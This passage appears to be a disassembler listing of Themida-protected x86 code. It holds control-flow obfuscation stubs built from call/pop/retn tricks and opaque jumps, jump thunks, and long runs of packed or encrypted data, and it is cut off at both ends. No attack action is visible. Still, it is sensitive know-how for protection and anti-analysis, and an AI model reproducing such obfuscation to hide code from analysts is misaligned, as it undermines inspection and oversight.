		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58239F	proc near		; CODE XREF: Themida_:00582397p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_58239F	endp

; ---------------------------------------------------------------------------
		pop	ecx
		aam	5Fh
		jmp	loc_5823BC
; ---------------------------------------------------------------------------
		mov	bl, 1Fh
		jecxz	short loc_5823CE
		push	es


loc_5823BC:				; CODE XREF: Themida_:005823B2j
		lea	esi, [ebp+6118EBBh]
		push	0
		push	ecx
		call	sub_5823CD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5823CD	proc near		; CODE XREF: Themida_:005823C5p

arg_4		= dword	ptr  8

		pop	ecx


loc_5823CE:				; CODE XREF: Themida_:005823B9j
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5823CD	endp

; ---------------------------------------------------------------------------
		mov	ah, 0C2h
		jnp	loc_5823F1
		jle	loc_5823F1
		jnp	$+6


loc_5823F1:				; CODE XREF: Themida_:005823DFj
					; Themida_:005823E5j
		lea	eax, [ebp+6114753h]
		jmp	loc_582405
; ---------------------------------------------------------------------------
		dd 72D06081h, 0E138F886h
		db 29h
; ---------------------------------------------------------------------------


loc_582405:				; CODE XREF: Themida_:005823F7j
		call	eax
		push	0
		push	eax
		call	sub_582412
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582412	proc near		; CODE XREF: Themida_:0058240Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_582412	endp

; ---------------------------------------------------------------------------
		dw 8E7Dh
		dd 90DCB166h, 0FE89357h, 787h, 1860F00h, 0F5000000h, 885A8589h
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 5B43C9C3h, 59F95760h
; ---------------------------------------------------------------------------
		clc
		popa


loc_582462:				; CODE XREF: Themida_:0058210Bj
		popa
		push	0
		push	ebp
		call	sub_58246E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58246E	proc near		; CODE XREF: Themida_:00582466p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_58246E	endp

; ---------------------------------------------------------------------------
		retf	909Dh
; ---------------------------------------------------------------------------
		db 8Eh,	0F5h, 8Bh
; ---------------------------------------------------------------------------
		test	[edx-78h], ebx
		adc	[esi], eax
		jno	locret_582490
		cmc

locret_582490:				; CODE XREF: Themida_:00582489j
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_58249C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58249C	proc near		; CODE XREF: Themida_:00582494p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_58249C	endp

; ---------------------------------------------------------------------------
		inc	edi
		sar	ch, 0A4h
		cmpsb
		inc	esi
		dec	ebp
		push	ss
		aad	6Ah
		cmc
		pusha
		push	0
		push	esi
		call	sub_5824C3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5824C3	proc near		; CODE XREF: Themida_:005824BBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5824C3	endp

; ---------------------------------------------------------------------------
		db 0D1h
		dd 83F5F88Ch, 118F3DBDh, 850F0006h, 4Ah, 1810Fh, 0E9F80000h
		dd 0Bh,	0CAC1B62Fh, 7B6B88DBh, 0C7F8BB16h, 118F3D85h, 1013F06h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0ABBF3939h, 9AAFF3F9h, 0A7BA6660h, 4E96123h
		dd 60000000h, 0CD61F78Bh, 20h, 74C00B00h, 0C708D37h, 8862BD8Bh
		dd 8B90611h, 0A6000000h, 75492275h, 30488BFAh, 885E9D8Bh
		dd 583B0611h, 8B157F34h, 4D26BD3h, 18BCA03h, 885A8589h
		dd 4EB0611h, 0C5EB008Bh, 5A858B61h, 0CF061188h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 83C35040h, 554417E3h
		dd 0E92857BFh, 5, 0D7363A92h, 56006AB7h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0DAE12B8Dh
		dd 5FBBCB65h, 8BE6660h,	61D88BE1h, 0E8C08BF8h, 5, 0A69284FDh
		dd 0BE914h, 0E3ED0000h,	7F8777D9h, 0CD08D6F0h, 5E95BC9h
		dd 0FA000000h, 38CA8C92h, 5C44C381h, 60600000h,	0DE8h
		dd 0AAF08300h, 7EEED8B1h, 39EAE3A8h, 8B5FA3CAh,	0B96161DEh
		dd 16F1h, 0C38B338Bh, 3699F681h, 0FE8B5C39h, 0EB8FC681h
		dd 0EE812C18h, 2502DA5Ch, 81B8B960h, 665764CCh,	7236EB81h
		dd 3389615Bh, 2EB83F5h,	3589C881h, 4B4B6A7Dh, 0F49C68Ah
		dd 0FFFFC385h, 0D6BF0FFFh, 148E9h, 7800h, 7C00h, 8000h
		dd 8400h, 8800h, 8C00h,	9000h, 9400h, 0D800h, 0DC00h, 0E000h
		dd 0E400h, 0E800h, 0EC00h, 0F000h, 0F400h, 0F800h, 0FC00h
		dd 10000h, 10400h, 10800h, 10C00h, 11000h, 11400h, 38h dup(0)
		dd 5826C900h, 0A250EB00h, 6D858D00h, 29061190h,	0E330195h
		dd 0D5958B06h, 89060E13h, 1191AD85h, 8BBF6606h,	0AD9D0B31h
		dd 0C6060E17h, 0E2F1185h, 0EE85406h, 0A3000000h, 0C71D424Ch
		dd 687961CAh, 8C50A3BDh, 0BF665780h, 5E5BB945h,	0AA423268h
		dd 0BF666093h, 5A56036Fh, 24348161h, 7DC82A1Bh,	0B8C38166h
		dd 3DB5FF76h, 8B060E0Ch, 74858DCFh, 0F06116Fh, 0B86h, 5860F00h
		dd 0B9000000h, 6177D269h, 8166D0FFh, 89BE56D3h,	1191B185h
		dd 0C19D8B06h, 0E9060E30h, 4Ch,	56F3B70Fh, 91ADB58Bh, 6890611h
		dd 91AD8583h, 5E040611h, 0B58D60C3h, 611906Dh, 6A560FEBh
		dd 0FF36FF00h, 1191B195h, 0C6835E06h, 3E8304h, 0C361EC75h
		dd 88DBD29h, 7E9060Eh, 7000000h, 73AF2222h, 0BD09D9B7h
		dd 60E1A39h, 925D858Dh,	958B0611h, 60E2F91h, 1B918589h
		dd 0DE9060Eh, 5E000001h, 972109BDh, 838A055Ch, 1D76A188h
		dd 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh
		dd 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h,	0A693B2D0h
		dd 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h
		dd 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h,	50F0362Bh
		dd 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h
		dd 602060F7h, 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h, 0Ah dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_58363C
; ---------------------------------------------------------------------------
		push	61195DAh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61196AEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	611978Dh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6119850h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61198E3h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61199C8h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6119B36h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6119C5Ah
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6119D23h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db  68h	; h
		db 0D0h	; Π
		db  9Dh	; 
		db  11h
		db    6
		db 0E9h	; ι
		db  7Fh	; 
		db 0EAh	; κ
		db 0FCh	; ό
		db 0FFh
; ---------------------------------------------------------------------------
		push	6119EBAh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0C05B1FEAh, 0A43F03C4h, 8722E6A9h, 6904C88Dh, 0B9E4A871h
		dd 19E2DA0Bh, 0FAC1BA55h, 0E09D9B36h, 0C584811Ch, 29EAB501h
		dd 5D7824EEh, 0B64BF962h, 3DEFAB9h, 0D074430Ah,	6AD64A1h
		dd 0CEE63BDCh, 0DE257638h, 9F5E22E1h, 98592899h, 61779198h
		dd 3FDEAD28h, 132B8045h, 0AB6E6908h, 3D39D88Fh,	54A9607Ch
		dd 39FDBCB9h, 0C6E2A19Eh, 5C231CBBh, 77348940h,	0A29BF015h
		dd 0ABF243C1h, 7C20EFAEh, 0D0719965h, 21E8E1F2h, 0F69151A6h
		dd 431E3AF9h, 766B8746h, 6360A7F8h, 995EE0A4h, 8DB603DAh
		dd 528h, 0FAB9B61Fh, 470603DEh,	4D74C483h, 0BE3FBD7Eh
		dd 5ED96177h, 42C64542h, 0DC9EA298h, 8445148Bh,	0A2984205h
		dd 0A9A342BDh, 0EA0D8FE4h, 3CB60455h, 39h, 1BA692CEh, 0BFCD8B4Ch
		dd 5CFB6177h, 85489D62h, 92F1EE0Ah, 4AA29840h, 0E09F9C3Bh
		dd 40C95011h, 0E89A298h, 73EA3BB9h, 0F814DBD4h,	8D6AEC41h
		dd 99B6045Ch, 0E9h, 0FAB9B62Bh,	1E0B03DEh, 7B403A25h, 29703100h
		dd 0A95B69B0h, 0BC97B32Eh, 0D9E400BFh, 0B0CE490Ah, 7825B69h
		dd 0CB6FBF63h, 297E0449h, 0ED2918Eh, 69372351h,	0EBF1955Bh
		dd 827AF740h, 531410AFh, 902B8037h, 4510D493h, 0C9E5AEA6h
		dd 0B19AFDBEh, 0BB365B69h, 5350EB40h, 94B07770h, 474662DDh
		dd 4001D0F1h, 6177CC20h, 0E2A165E0h, 0DB9C6B56h, 988BBC14h
		dd 936231ACh, 1935FAF4h, 7A720D62h, 5A52EDB1h, 93AF726Dh
		dd 0CD4C0DDCh, 85A8888Ch, 4E398F0Ah, 1A22858Eh,	9AF34BEh
		dd 99900000h, 736F0ACEh, 5853EEB2h, 3C36D195h, 2018B377h
		dd 0FC689357h, 4C89189h, 0E5A97069h, 0CB8F4C4Ah, 0B0743330h
		dd 0B1D89964h, 115D7825h, 0E786FAA8h, 965726EFh, 5B69B073h
		dd 64FF54CFh, 14DFA36Ch, 61B67B75h, 460AC9C6h, 1BA692D8h
		dd 0BFCD8B4Ch, 88036177h, 402C6F6Ch, 0B9C8A298h, 65B201Ah
		dd 0EE093788h, 38B6045Bh, 0A9h,	0D6B9B6CAh, 42F915DEh
		dd 0D8D0ABC7h, 122EEFEBh, 0C7C4E05Bh, 5B69B455h, 0BB7F3E3Bh
		dd 42402320h, 37B26985h, 8041101Bh, 0A4964C19h,	0A26E3E1h
		dd 0BC118C53h, 0B7863BFDh, 88316AF6h, 571B969Eh, 0B6F8A098h
		dd 4A88C298h, 0B27342BDh, 988B9CECh, 0AB4A1994h, 8B26EAB3h
		dd 2B74CA93h, 4B228596h, 8DB65EFh, 6D640000h, 4743DEA2h
		dd 2C27C286h, 100AA569h, 0F4EC874Bh, 883C672Bh,	0D89C655Dh
		dd 0B97D443Dh, 9F63201Eh, 84480704h, 6DAC6D38h,	0E55D7826h
		dd 0BEB6CE7Ch, 999631F5h, 7B3C0BDAh, 5B69B01Ch,	24E439B4h
		dd 0D1B9B6B6h, 271C1610h, 7A3D38CAh, 882CA75Eh,	35DB23CFh
		dd 0D3EF6A96h, 783CFBF8h, 0A98F9C03h, 74884918h, 0B46177CAh
		dd 0DB561B15h, 88756D0Ch, 0FA4FCA8Dh, 0C2BB5A65h, 0C4E9A6FBh
		dd 0A3C3C2h, 54696538h,	40C27493h, 0D651CCA0h, 775F03BAh
		dd 8C5183ADh, 9D3C0B86h, 0BC87DCA5h, 5EB7C5FBh,	6480FB9Ah
		dd 1FEED365h, 0A5C18680h, 0DCE99EEh, 9461E01Ah,	0ED8C5BD6h
		dd 0A26D31F0h, 0C41B0903h, 30DCD054h, 5FF29611h, 0D7CD6BC8h
		dd 1512AD02h, 0E5950056h, 71CD3E6Dh, 7FCE7h, 814C4300h
		dd 652622BDh, 480B06A1h, 2AEFE984h, 0AD3CB66h, 3CA91B46h
		dd 1CB77B44h, 0FD985C23h, 0E37E42FFh, 176327E6h, 270C8B4Ch
		dd 5BC45D78h, 0FAB9B6ADh, 6859DFDEh, 0C880D899h, 0C5406177h
		dd 0CBF64201h, 938E2DFCh, 587C4CA7h, 81FCECC7h,	0DC96F1B2h
		dd 0AF2AA298h, 2FF69D5Ah, 0AB4A988Ah, 17CEEAB3h, 0B584FFC2h
		dd 965A1916h, 1D1BFEFBh, 0CAC9E560h, 0B584536Eh, 68E225E6h
		dd 0E35EA8B6h, 9A61D18Eh, 0E45F92A4h, 0BB787615h, 0FFFC9B66h
		dd 0E4E17C40h, 2E0A0925h, 0BE50B26Ah, 0C873152h, 6F747C3Dh
		dd 0E0848CB9h, 9DB48BA8h, 6D1A987h, 35396206h, 0DB56196Eh
		dd 0A407F885h, 62EC4836h, 739h,	80440F06h, 6428E9E5h, 470BCEC9h
		dd 29EDB2ACh, 9CD968Eh,	7FF66DEh, 0E6DF7A3Eh, 0C2C05B1Fh
		dd 0A9A64105h, 0FDA26EAh, 7828CB4Eh, 701E875Dh,	4C1BA692h
		dd 0D3CCB1ADh, 0BE75910Ch, 7267661Ah, 0CB20A4EBh, 0C78D3100h
		dd 19DED839h, 4DA246FDh, 702D82D0h, 617B0DF6h, 735E57F6h
		dd 0E198B479h, 18934A66h, 0EFACAA49h, 3330CF9Ah, 1815B074h
		dd 0FA3E3D59h, 0CBE7A6A3h, 9CA9914h, 989974BFh,	12D9D271h
		dd 6EC43FF6h, 228417CBh, 0A641CB27h, 99000006h,	7813D7A2h
		dd 5CF7BB7Ch, 3FDA9E61h, 21BC8045h, 719C6029h, 0D19A92F3h
		dd 0B279720Dh, 985553EEh, 7D3C39D4h, 0E1A26DB9h, 5D7828A6h
		dd 9203B11Ah, 4C97F2A6h, 516840A3h, 0BE759158h,	38F9C843h
		dd 617BA45Dh, 0D4A372EDh, 0E4C54405h, 0DE7DA286h, 51A621E2h
		dd 36FAB9B6h, 2FF8C76Bh, 0A74B0E09h, 0B554AF1Fh, 5A0F5BCh
		dd 2E2D4908h, 0D796930Ah, 0F3EE8D5Ch, 85D1430h,	6CCA7C3Dh
		dd 5E029894h, 62F9A5EDh, 0B47973D5h, 8221E439h,	7C4BC685h
		dd 0FA1DDEADh, 56A8B4E4h, 0E443C687h, 84FFA8B4h, 1C19B409h
		dd 7B3E39h, 0D4D2713Ch,	7B1C6FEEh, 0F16C4037h, 4504019Ch
		dd 5F0E2A29h, 0B40F7B9Eh, 0E15CD7A8h, 605F5112h, 0BA5992AAh
		dd 1FA2D5BDh, 0A00E6BAEh, 920DD025h, 0AB3EBB3Ch, 58FEB3Ch
		dd 5C1h, 0F8BC877Eh, 0DCA0615Dh, 0BF834641h, 0A1652A24h
		dd 81450E06h, 7F77EE56h, 5E57F2B6h, 3A38D397h, 211EB97Dh
		dd 87529E62h, 782943C6h, 0E896FF5Dh, 0DEFAB9B6h, 83470603h
		dd 81D19B8h, 69B0C047h,	8A05805Bh, 0FFC27635h, 0C6468C30h
		dd 0F580C052h, 9014D5A0h, 306177BEh, 799C99B5h,	0F5A29842h
		dd 874E47E6h, 3563B432h, 0B60455C2h, 9AF29665h,	0F4A655h
		dd 30216829h, 26A1A298h, 4005D1h, 9B3A0000h, 0CC3DF9Eh
		dd 0A69249B7h, 0CD8B4C1Bh, 36177BFh, 8DA96664h,	423F5BD6h
		dd 0A29840C3h, 0CAE6AFA7h, 1430F5EFh, 148BDC5Eh, 98403453h
		dd 96118CA2h, 0AAD829EBh, 0B6045D4Dh, 0FBD9h, 0E2866B00h
		dd 0F9C1B2B5h, 3ED92E3Ch, 8B668241h, 0EBA8A693h, 819D18CFh
		dd 19DCD776h, 6D2C29C4h, 91797651h, 0C552F446h,	3056FAB5h
		dd 64C73C73h, 0BD81FCh,	5B69508Ch, 0F4B87774h, 0CF8C8A29h
		dd 23E2DF7Ah, 3D300807h, 69501D7Ch, 0BF3AB55Bh,	25292FF0h
		dd 0FB9F6177h, 541F2613h, 15743502h, 0ADA29B31h, 9F62B732h
		dd 27430400h, 7231F570h, 6B2CFBC6h, 9888D81Fh, 0EC8B5AD5h
		dd 0F316D7F4h, 4FA88868h, 0CA9559D4h, 166B322Bh, 9766837Bh
		dd 8868B3D6h, 0D3940FA8h, 0A88868B4h, 0AC756D0Ch, 0ED60B631h
		dd 522856Bh, 4531FA9h, 0F5EC0000h, 0CFCB662Ah, 0B4AF4A0Eh
		dd 98922DF1h, 7C740FD3h, 0C4EFB3h, 6024EDE5h, 4105CCC5h
		dd 27EBA8A6h, 0CD08F8Ch, 0D534F5C0h, 6D5D782Bh,	0B7865604h
		dd 69B093F6h, 0E5B42F5Bh, 69B0E524h, 8DE25D5Bh,	6D31FAF2h
		dd 0F8F2D5D2h, 86F4B833h, 93F6B786h, 2F5B69B0h,	0B0789F60h
		dd 5DD85B69h, 6ACE8DE2h, 81C78857h, 3F6177BFh, 68ABA8C4h
		dd 4A29840h, 0AB7AF142h, 9840AFEAh, 53A823A2h, 45C26D1h
		dd 0F700B6h, 96350000h,	1684D99Ah, 0E5A6B9B6h, 5B69B0A2h
		dd 0C28A31Eh, 0A1703931h, 0A8869CFDh, 0D328E8F3h, 0DC4EBEBBh
		dd 35325B69h, 18E7B276h, 69D43057h, 7115905Bh, 0C1FBA1EFh
		dd 6A1F640h, 2F2E4A09h,	28E9B809h, 61770520h, 3DFCF998h
		dd 8B484621h, 7DF8BB10h, 833EFAB9h, 541D15B4h, 9D645D38h
		dd 4102CD22h, 9888FE56h, 7CB15E02h, 91A05CBDh
		dd 0E9D5793Ch, 11B6F59Dh, 15D2E0C2h, 2455EF71h,	433BDAA9h
		dd 6A07AB7Ah, 3A7276FFh, 0F79252A7h, 7BE036FFh,	7B22860Ah
		dd 32F951Fh, 19100000h,	0F3EF8A4Eh, 0D8D36E32h,	0BCB65115h
		dd 0A09833F7h, 7CE813D7h, 84481109h, 6529F0E9h,	4B0FCCCAh
		dd 30F4B3B0h, 315819E4h, 915D782Ch, 0BEB67A28h,	0E78226F5h
		dd 56F4F300h, 7E995A29h, 0D25B6966h, 77420257h,	2AB81ED3h
		dd 68BD6888h, 0FCBDD0CDh, 5B69579Dh, 7B3FBA35h,	0FAB9B60Dh
		dd 230603DEh, 24E8632Ah, 93A546AFh, 2E4A110Ah, 1BDCD877h
		dd 0FECD48FFh, 77DFAF3Dh, 55EE6961h, 6EF7DD58h,	5647F106h
		dd 0FBF6955Eh, 0EA651C38h, 0E6825A1Bh, 0C33E34CBh, 3190A8A7h
		dd 4C9C362h, 75B508E8h,	784B43C1h, 0A0635EFDh, 0AD78CD84h
		dd 0D5D53DECh, 6B3AB52Eh, 4C10CFCCh, 9FF5B4B1h,	98F9E830h
		dd 664AD430h, 0D9000002h, 0B85317E2h, 9C37FBBCh, 7F1ADEA1h
		dd 61FCC085h, 0B1DCA069h, 11DAD233h, 0F2B9B24Dh, 0D895932Eh
		dd 0BD7C7914h, 21E2ADF9h, 5D782DE6h, 0B643F15Ah, 0DFDEFAB9h
		dd 24743F59h, 1812E380h, 0BF0DCE9Dh, 79617742h,	5AC53AFEh
		dd 83526FC9h, 85AD32C2h, 0E942E698h, 0F5D1F541h, 73EEB106h
		dd 6AA2DDDAh, 1622E41Ch, 0A51BDCABh, 1B5621BAh,	0B38584A0h
		dd 8B7E3F0Eh, 47503CE5h, 0F0F1E4A3h, 0EEEA83D9h, 6837B22Dh
		dd 3E0DCCC9h, 0C4E0A59Fh, 308624E4h, 67E2EDADh,	0E8875212h
		dd 580F2BECh, 0AC6B6803h, 52DE8556h, 0F781DDFAh, 1B9h
		dd 0C48F86h, 0E4A86965h, 0C78B4E49h, 0A96D322Ch, 894D160Eh
		dd 877FE65Eh, 665FFABEh, 4240DB9Fh, 2926C185h, 8F5AA66Ah
		dd 782D4BCEh, 0F09E075Dh, 0DEFAB9B6h, 996859DFh, 77B730D8h
		dd 46159061h, 94E9ACA7h, 896509D4h, 0A21A95CCh,	0F16C312Bh
		dd 24B7279Ch, 0CA8F8914h, 2DBF804Fh, 0EB9886FEh, 1FDAD770h
		dd 0ABE7BE6Eh, 0F94E110Ch, 0F4C3FE3Ah, 87BA8D33h, 928C2B5Bh
		dd 0E5A6B1CDh, 6F884AA2h, 0D328A31Eh, 27C69510h, 0FD156A2Bh
		dd 0B8873AFEh, 3F5B1E19h, 0A7683388h, 559AE5F0h, 2FA9968h
		dd 3A117839h, 36B175B9h, 0D4A31EE1h, 0AA793835h, 3AFF1ADBh
		dd 845375B9h, 0B93A44C3h, 681FC75h, 8226F1B1h, 28E9E408h
		dd 75B9D3E1h, 0AF42E661h, 48CF904Ah, 875B97Ah, 22BD128Dh
		dd 35106625h, 8DFFB479h, 0CFA731h, 79700000h, 534FEAAEh
		dd 3833CE92h, 1C16B175h, 0F89357h, 9C487337h, 0E4A87169h
		dd 0C5895049h, 0AB6F2C2Ah, 90541310h, 51B87944h, 0F15D782Eh
		dd 0B9B6DA88h, 59DFDEFAh, 94D89968h, 346177C4h,	236F5B9h
		dd 32FF0BFh, 0C1988AAEh, 0DCD87746h, 0A948FF1Bh, 17CEEAAFh
		dd 0D2CFAAC2h, 0EA9BFEBFh, 0BC37A889h, 0E5E27D41h, 60FF0A26h
		dd 0D8C4D66h, 0C5A889EAh, 0FCB3CF4Ah, 97FCEAA7h, 52617161h
		dd 8FB983AEh, 0EEAF44CEh, 97A174ABh, 0DC31AC27h, 0C9C60D5Eh
		dd 5A404EE1h, 5AD5AAA0h, 3FFEFB96h, 0B9E0A170h,	1997A199h
		dd 5631499Eh, 1F7B975Ch, 0B57C7514h, 0F8DE299h,	0BB7A77BEh
		dd 0A05F5CF7h, 0BFA84h,	86880000h, 603EEE7h, 5977CC47h
		dd 0F4BFB6A7h, 4100FDD8h, 8F4C4A25h, 0D89F9873h, 20E9E1BCh
		dd 68312904h, 0B277714Ch, 0FDC0BB96h, 490A06E1h, 0EC81692Dh
		dd 4, 89243C89h, 4C781E7h, 83000000h, 3C8704EFh, 0F5685C24h
		dd 89000023h, 89522404h, 4C281E2h, 83000000h, 148704EAh
		dd 14895C24h, 72926824h, 3C890000h, 50FFBF24h, 2CB8519Bh
		dd 1B47643h, 8B545FF8h,	0C4832414h, 2C815004h, 1B338A24h
		dd 8428F2Eh, 8A084281h,	8B2E1B33h, 89502414h, 405E0h, 4050000h
		dd 87000000h, 0FF5C2404h, 81582434h, 4C4h, 0DE6EE900h
		dd 0A399FFFCh, 0C71D424Ch, 687961CAh, 8C50A3BDh
; ---------------------------------------------------------------------------


loc_58363C:				; CODE XREF: Themida_:005829B4j
		mov	eax, 6119FAEh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0D0h, 85h, 8Dh
		dd 604FE62Bh, 7B2A0145h, 33BC205Eh, 13B0294Eh, 0FFCEDA22h
		dd 8F9A1D55h, 0EB9FEF09h, 0B3DB7D02h, 39EB4Dh, 0CC00C200h
		dd 0E400C202h, 0C202h, 6F000000h, 0CA452A7Bh, 0AF743377h
		dd 1420227Fh, 0DC4D297Bh, 0B44C233Ch, 28740912h, 78200B5Eh
		dd 7E500866h, 0FF48137Ch, 0C6442677h, 32202D72h, 0B12044FAh
		dd 1B796712h, 486CCE4Bh, 1264C616h, 1B205E16h, 4E710612h
		dd 77AB7516h, 0E62FDADDh, 0B1204711h, 53EACC74h, 519D6CD2h
		dd 0B5264931h, 152E66AFh, 84554714h, 0C9E5FA91h, 1720411Ch
		dd 3A73170Bh, 0DC99FFD2h, 0E9A94712h, 302E5A8Fh, 0B34CDA9Fh
		dd 5EDF4102h, 7BA31F49h, 652E48D7h, 0E1373312h,	0DC99FF41h
		dd 0E9A94712h, 302E5A8Fh, 0BE7BDA9Fh, 5EDF4102h, 0C64A1F49h
		dd 6323AF40h, 0EB004712h, 8CA91DD1h, 28A14336h,	363B4336h
		dd 49624712h, 0B6391FD1h, 0E63F3D66h, 22EFC6F5h, 380463CEh
		dd 0D6331A87h, 119D4E14h, 0BD264923h, 4E202DD2h, 8D2044FAh
		dd 57D6712h, 474CCE4Fh,	9564C616h, 0D8205216h, 0AF750212h
		dd 0B3E67238h, 1D2E6803h, 0DB202D44h, 0C62044FAh, 0A07E6712h
		dd 9554CE4Ch, 0FC64C616h, 6C205F16h, 0F5760112h, 0D8B2BCDBh
		dd 9BBE2F19h, 0B89AC9E9h, 0E254837Ah, 1FEC6326h, 0D84A5541h
		dd 6C23AF42h, 6E004712h, 5FA91FD1h, 0C9A14336h,	0C63B4336h
		dd 33604712h, 4304F5D1h, 649A3DB3h, 0BD97484Eh,	3A1DF2EDh
		dd 1B4A411Ch, 8D23AF44h, 98004712h, 17A919D1h, 0F5A14336h
		dd 0D8384336h, 3A664712h, 11B93DD1h, 96D82256h,	9C4F3397h
		dd 1BB54C14h, 9C264920h, 0E1202DC2h, 0D82044FAh, 0AF786712h
		dd 1264CE4Ah, 3F64C616h, 8D205316h, 5700712h, 9242D51h
		dd 0B2C81212h, 0F8204712h, 0E57D844Fh, 0B724637Eh, 0E246356h
		dd 0C8204712h, 0A9D38447h, 6325CE1Dh, 30464712h, 0B017CFD4h
		dd 0FA7B86F3h, 89721772h, 0EEF81FCh, 0DF70761Dh, 9E7A761Dh
		dd 0E2411F48h, 0FF3F6316h, 0D6C92EB6h, 3F204712h, 0A7C004Fh
		dd 61F86ABDh, 8F534BA9h, 40BD2F31h, 3170B6BFh, 0B122C71Dh
		dd 87724712h, 3C70761Dh, 6C114840h, 437A1D4Ah, 0C2044393h
		dd 0AC2E156Eh, 60C81012h, 91204712h, 517F844Dh,	0ED24636Eh
		dd 22246356h, 5C204712h, 33F48445h, 0A98076EEh,	0D6A94778h
		dd 0B72E6763h, 0DDC997EDh, 19204712h, 0BF058C1Dh, 3109D299h
		dd 8A9411Ch, 0C031E77Dh, 0CEBAF972h, 24214863h,	0DE2E510Fh
		dd 69D8CC73h, 362045DEh, 0BB53C29Bh, 4DA34103h,	0B1A5CE0Ah
		dd 502656B2h, 0B3CCFED2h, 72D34712h, 84774778h,	36204711h
		dd 44E31832h, 89043B9Bh, 0C2040393h, 63204708h,	78E31055h
		dd 0BF890329h, 0E1AB5FAFh, 302E6217h, 0F3704778h, 8D204711h
		dd 9EE31F32h, 6704039Bh, 0B5040393h, 0D820470Eh, 10E31752h
		dd 33029722h, 56328DBCh, 8A65F223h, 43E6411Ch, 652E6803h
		dd 7A9F4851h, 54EBD77Ah, 0D3461195h, 0B77AAE53h, 84EE6316h
		dd 82C853C8h, 7A204712h, 0B988482Eh, 750D6444h,	0BD1761F7h
		dd 0E91136D4h, 302E52ABh, 2695B84Ch, 0ED26491Eh, 0C634AEEEh
		dd 0D1924712h, 0D3F11ED5h, 83E6C8B1h, 24A605C5h, 619E7926h
		dd 96415C33h, 9C4F3397h, 3FB5CC14h, 9C26490Ah, 0E6202DC2h
		dd 0D82044FAh, 0AF7F6712h, 125CCE4Dh, 3F64C616h, 8D205116h
		dd 5770012h, 5E62B41h, 34A9BC99h, 0DE2E7757h, 42EDF29Bh
		dd 0B3AD411Ch, 1D2E67BFh, 8A946A0h, 0C02E68F3h,	6326C11Dh
		dd 4AB4712h, 0DE2E4BD7h, 4331C2D4h, 5C73411Ch, 18C81012h
		dd 0AD204712h, 4F7F844Dh, 0E224636Eh, 0AC246356h, 9F204712h
		dd 30708445h, 0A319F845h, 0FA231168h, 8D2043FAh, 77689F12h
		dd 94AB21EEh, 67AB2142h, 0DC040399h, 0BDAB2172h, 0BE1DA2A9h
		dd 1BAB2643h, 7E9E1542h, 0C9071A10h, 39F1CC23h,	9564CE4Ah
		dd 80DECC16h, 84714778h, 36204711h, 42E31E32h, 89040B9Bh
		dd 0C2040393h, 63204707h, 22E31653h, 0B1ADCEBCh, 45264937h
		dd 3814A29Fh, 90772714h, 724119C4h, 0C82C7AA7h,	0EEF3CC14h
		dd 0A04F3397h, 8B202D14h, 6C2044FAh, 0F57B6712h, 3F7CCE49h
		dd 0A964C616h, 0C6205216h, 0A0730412h, 0C093AD9h, 0DE2E536Fh
		dd 0D64697EDh, 0B3A9AE55h, 1D2E4857h, 65704778h, 0C6204711h
		dd 3BE31F32h, 0B504039Bh, 0DC040393h, 6C204706h, 0A9E31752h
		dd 16BDD213h, 8E6411Ch,	0C02E6803h, 0C1262F41h,	0BAC9D3B4h
